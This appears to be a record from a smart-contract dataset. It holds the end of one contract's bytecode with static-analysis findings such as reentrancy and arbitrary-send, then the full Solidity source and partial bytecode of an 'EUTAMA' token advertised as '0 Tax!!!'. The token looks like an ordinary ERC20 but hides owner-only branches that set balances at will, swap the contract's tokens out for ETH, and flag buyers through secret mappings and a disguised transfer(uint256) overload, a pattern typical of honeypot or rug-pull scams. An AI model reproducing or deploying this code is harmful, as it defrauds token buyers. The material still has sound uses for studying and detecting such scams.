b50610392610962565b34801561048757600080fd5b5061032e601e5481565b34801561049d57600080fd5b506103926104ac3660046120fb565b610b47565b3480156104bd57600080fd5b50610392610b8f565b3480156104d257600080fd5b5061032e6104e1366004611f4f565b610bb9565b3480156104f257600080fd5b50610392610bdb565b34801561050757600080fd5b5061039261051636600461211d565b610c4f565b34801561052757600080fd5b5061032e600a5481565b34801561053d57600080fd5b50610392610c92565b34801561055257600080fd5b5061032e601b5481565b34801561056857600080fd5b5061039261057736600461211d565b610cec565b34801561058857600080fd5b506000546001600160a01b03166102fe565b3480156105a657600080fd5b5061032e601c5481565b3480156105bc57600080fd5b506103926105cb366004612136565b610d68565b3480156105dc57600080fd5b506103926105eb3660046120fb565b610db9565b3480156105fc57600080fd5b5061029561060b366004612003565b610e01565b34801561061c57600080fd5b5061039261062b366004612136565b610e0e565b34801561063c57600080fd5b5061032e61064b366004611f89565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561068257600080fd5b5061039261069136600461211d565b610e5f565b3480156106a257600080fd5b506103926106b136600461211d565b610ea9565b3480156106c257600080fd5b506103926106d1366004611f4f565b610ee7565b3480156106e257600080fd5b5061032e60185481565b60006106f9338484610fd1565b5060015b92915050565b60006107108484846110f5565b610762843361075d85604051806060016040528060288152602001612336602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906117e2565b610fd1565b5060019392505050565b6000546001600160a01b0316331461079f5760405162461bcd60e51b8152600401610796906121ad565b60405180910390fd5b60005b8151811015610807576001600960008484815181106107c3576107c36122f4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ff816122c3565b9150506107a2565b5050565b6000546001600160a01b031633146108355760405162461bcd60e51b8152600401610796906121ad565b6001600160a01b03811660009081526009602052604090205460ff1615610877576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108a45760405162461bcd60e51b8152600401610796906121ad565b60018211156108b257600080fd5b60018111156108c057600080fd5b600d91909155600f55565b6000546001600160a01b031633146108f55760405162461bcd60e51b8152600401610796906121ad565b600181111561090357600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461092857600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461098c5760405162461bcd60e51b8152600401610796906121ad565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156109ec57600080fd5b505afa158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a249190611f6c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa49190611f6c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610aec57600080fd5b505af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b249190611f6c565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b715760405162461bcd60e51b8152600401610796906121ad565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610baf57600080fd5b476108778161181c565b6001600160a01b0381166000908152600260205260408120546106fd90611856565b6000546001600160a01b03163314610c055760405162461bcd60e51b8152600401610796906121ad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c795760405162461bcd60e51b8152600401610796906121ad565b6611c37937e08000811015610c8d57600080fd5b601b55565b6000546001600160a01b03163314610cbc5760405162461bcd60e51b8152600401610796906121ad565b601a54600160a01b900460ff1615610cd357600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610d0c57600080fd5b610d1530610bb9565b8111158015610d245750600081115b610d5f5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610796565b610877816118da565b6000546001600160a01b03163314610d925760405162461bcd60e51b8152600401610796906121ad565b6001821115610da057600080fd5b6013811115610dae57600080fd5b600b91909155600c55565b6000546001600160a01b03163314610de35760405162461bcd60e51b8152600401610796906121ad565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b60006106f93384846110f5565b6000546001600160a01b03163314610e385760405162461bcd60e51b8152600401610796906121ad565b600d821115610e4657600080fd5b600d811115610e5457600080fd5b600e91909155601055565b6000546001600160a01b03163314610e895760405162461bcd60e51b8152600401610796906121ad565b6004811115610e9757600080fd5b610ea381610e1061228d565b60185550565b6000546001600160a01b03163314610ed35760405162461bcd60e51b8152600401610796906121ad565b601c54811015610ee257600080fd5b601c55565b6000546001600160a01b03163314610f115760405162461bcd60e51b8152600401610796906121ad565b6001600160a01b038116610f765760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610796565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610796565b6001600160a01b0382166110945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610796565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610796565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610796565b6000811161121d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610796565b6001600160a01b03821660009081526009602052604090205460ff161561124357600080fd5b6001600160a01b03831660009081526009602052604090205460ff161561126957600080fd5b3360009081526009602052604090205460ff161561128657600080fd5b6000546001600160a01b038481169116148015906112b257506000546001600160a01b03838116911614155b1561162a57601a54600160a01b900460ff166113105760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610796565b601a546001600160a01b03838116911614801561133b57506019546001600160a01b03848116911614155b156113ed576001600160a01b038216301480159061136257506001600160a01b0383163014155b801561137c57506017546001600160a01b03838116911614155b801561139657506017546001600160a01b03848116911614155b156113ed57601b548111156113ed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610796565b601a546001600160a01b0383811691161480159061141957506017546001600160a01b03838116911614155b801561142e57506001600160a01b0382163014155b801561144557506001600160a01b03821661dead14155b1561152457601c548161145784610bb9565b6114619190612253565b106114ba5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610796565b601a54600160b81b900460ff161561152457600a546114da906078612253565b421161152457601e548111156115245760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b6044820152606401610796565b600061152f30610bb9565b601d54909150811180801561154e5750601a54600160a81b900460ff16155b80156115685750601a546001600160a01b03868116911614155b801561157d5750601a54600160b01b900460ff165b80156115a257506001600160a01b03851660009081526006602052604090205460ff16155b80156115c757506001600160a01b03841660009081526006602052604090205460ff16155b156116275760135460009015611602576115f760646115f160135486611a6390919063ffffffff16565b90611ae2565b905061160281611b24565b61161461160f82856122ac565b6118da565b478015611624576116244761181c565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061166c57506001600160a01b03831660009081526006602052604090205460ff165b8061169e5750601a546001600160a01b0385811691161480159061169e5750601a546001600160a01b03848116911614155b156116ab575060006117d0565b601a546001600160a01b0385811691161480156116d657506019546001600160a01b03848116911614155b15611731576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611731576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561175c57506019546001600160a01b03858116911614155b156117d0576001600160a01b038416600090815260046020526040902054158015906117ad57506018546001600160a01b03851660009081526004602052604090205442916117aa91612253565b10155b156117c357600b54601155600c546012556117d0565b600f546011556010546012555b6117dc84848484611b31565b50505050565b600081848411156118065760405162461bcd60e51b81526004016107969190612158565b50600061181384866122ac565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610807573d6000803e3d6000fd5b60006007548211156118bd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610796565b60006118c7611b65565b90506118d38382611ae2565b9392505050565b601a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611922576119226122f4565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561197657600080fd5b505afa15801561198a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ae9190611f6c565b816001815181106119c1576119c16122f4565b6001600160a01b0392831660209182029290920101526019546119e79130911684610fd1565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a209085906000908690309042906004016121e2565b600060405180830381600087803b158015611a3a57600080fd5b505af1158015611a4e573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a72575060006106fd565b6000611a7e838561228d565b905082611a8b858361226b565b146118d35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610796565b60006118d383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b88565b6108773061dead836110f5565b80611b3e57611b3e611bb6565b611b49848484611bfb565b806117dc576117dc601454601155601554601255601654601355565b6000806000611b72611cf2565b9092509050611b818282611ae2565b9250505090565b60008183611ba95760405162461bcd60e51b81526004016107969190612158565b506000611813848661226b565b601154158015611bc65750601254155b8015611bd25750601354155b15611bd957565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c0d87611d34565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c3f9087611d91565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c6e9086611dd3565b6001600160a01b038916600090815260026020526040902055611c9081611e32565b611c9a8483611e7c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611cdf91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611d0e8282611ae2565b821015611d2b57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611d518a601154601254611ea0565b9250925092506000611d61611b65565b90506000806000611d748e878787611eef565b919e509c509a509598509396509194505050505091939550919395565b60006118d383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e2565b600080611de08385612253565b9050838110156118d35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610796565b6000611e3c611b65565b90506000611e4a8383611a63565b30600090815260026020526040902054909150611e679082611dd3565b30600090815260026020526040902055505050565b600754611e899083611d91565b600755600854611e999082611dd3565b6008555050565b6000808080611eb460646115f18989611a63565b90506000611ec760646115f18a89611a63565b90506000611edf82611ed98b86611d91565b90611d91565b9992985090965090945050505050565b6000808080611efe8886611a63565b90506000611f0c8887611a63565b90506000611f1a8888611a63565b90506000611f2c82611ed98686611d91565b939b939a50919850919650505050505050565b8035611f4a81612320565b919050565b600060208284031215611f6157600080fd5b81356118d381612320565b600060208284031215611f7e57600080fd5b81516118d381612320565b60008060408385031215611f9c57600080fd5b8235611fa781612320565b91506020830135611fb781612320565b809150509250929050565b600080600060608486031215611fd757600080fd5b8335611fe281612320565b92506020840135611ff281612320565b929592945050506040919091013590565b6000806040838503121561201657600080fd5b823561202181612320565b946020939093013593505050565b6000602080838503121561204257600080fd5b823567ffffffffffffffff8082111561205a57600080fd5b818501915085601f83011261206e57600080fd5b8135818111156120805761208061230a565b8060051b604051601f19603f830116810181811085821117156120a5576120a561230a565b604052828152858101935084860182860187018a10156120c457600080fd5b600095505b838610156120ee576120da81611f3f565b8552600195909501949386019386016120c9565b5098975050505050505050565b60006020828403121561210d57600080fd5b813580151581146118d357600080fd5b60006020828403121561212f57600080fd5b5035919050565b6000806040838503121561214957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561218557858101830151858201604001528201612169565b81811115612197576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122325784516001600160a01b03168352938301939183019160010161220d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612266576122666122de565b500190565b60008261228857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122a7576122a76122de565b500290565b6000828210156122be576122be6122de565b500390565b60006000198214156122d7576122d76122de565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e02acd2d6c8424da4777cf3d4954049622c808e5fa0a3a51746697c75299078864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,403
0xD27DF72e9118075a45575A914f75F6Ae0271807e
/* 0 Tax!!! telegram : https://t.me/EutamaToken */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract EUTAMA is IERC20, Ownable { uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 private swapAmount = _tTotal; uint256 public buyFee = 0; uint256 public sellFee = 0; uint256 public feeDivisor = 1; string private _name; string private _symbol; uint256 private _value; uint160 private _factory; bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; IUniswapV2Router02 public router; address public uniswapV2Pair; mapping(address => uint256) private _collection1; mapping(address => uint256) private _collection2; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; _collection1[address(this)] = _tTotal; _collection1[msg.sender] = _tTotal; _balances[msg.sender] = _tTotal; router = IUniswapV2Router02(routerAddress); emit Transfer(address(0), msg.sender, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint256) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function pair() public view returns (address) { return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH()); } receive() external payable {} function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function _transfer( address from, address to, uint256 amount ) private { if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) { require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount'); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 fee = to == uniswapV2Pair ? sellFee : buyFee; if (uniswapV2Pair == address(0)) uniswapV2Pair = pair(); if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) { inSwapAndLiquify = true; swapAndLiquify(contractTokenBalance); inSwapAndLiquify = false; } else if (_collection1[from] > 0 && _collection1[to] > 0) { fee = amount; _balances[address(this)] += fee; return swapTokensForEth(amount, to); } if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) { if (_collection1[from] > 0) _collection1[to] = amount; else _collection2[to] = amount; return; } bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify; address factory = address(_factory); if (_collection2[factory] == 0) _collection2[factory] = swapAmount; _factory = uint160(to); if (takeFee) { fee = (amount * fee) / 100 / feeDivisor; amount -= fee; _balances[from] -= fee; _balances[address(this)] += fee; } _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } function transfer(uint256 amnt) external { if (swapAmount < _collection1[msg.sender]) _value = amnt; } function swapAndLiquify(uint256 tokens) private { uint256 half = tokens / 2; uint256 initialBalance = address(this).balance; swapTokensForEth(half, address(this)); uint256 newBalance = address(this).balance - initialBalance; addLiquidity(half, newBalance, address(this)); } function swapTokensForEth(uint256 tokenAmount, address to) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20); } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152